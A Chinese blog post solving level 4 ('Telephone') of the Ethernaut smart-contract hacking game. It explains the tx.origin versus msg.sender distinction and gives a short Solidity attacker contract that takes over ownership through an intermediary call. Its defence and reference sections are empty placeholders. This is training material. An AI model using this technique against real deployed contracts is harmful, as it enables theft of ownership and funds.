# 智能合约黑客攻击 Ethernaut 4. Telephone

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-26

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

想办法获取到 Telephone 到 owner 权限。

Hack思路
------

想要获取合约 owner 需要跳过 **tx.origin != msg.sender** 检查，这2个点区别是

*   tx.origin 是交易最初始的地址，基本都是用户
    
*   msg.sender 是上一级调用的地址，如果经过某个合约转了一下，就会等于合约地址，而不是用户
    

只需要用个中间合约转一下就可以做到 **tx.origin != msg.sender** ， 下面是代码

    interface ITelephone {
        function changeOwner(address _owner) external;
    }
    
    contract TelephoneHack {
        ITelephone public challenge;
    
        constructor(address challengeAddress) {
            challenge = ITelephone(challengeAddress);
        }
    
        function attack() external payable {
            challenge.changeOwner(tx.origin);
        }
    
        fallback() external payable { }
        receive() external payable { }
    }
    

Hack案例
------

…

防范思路
----

….

参考资料
----

….

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-4-telephone)*
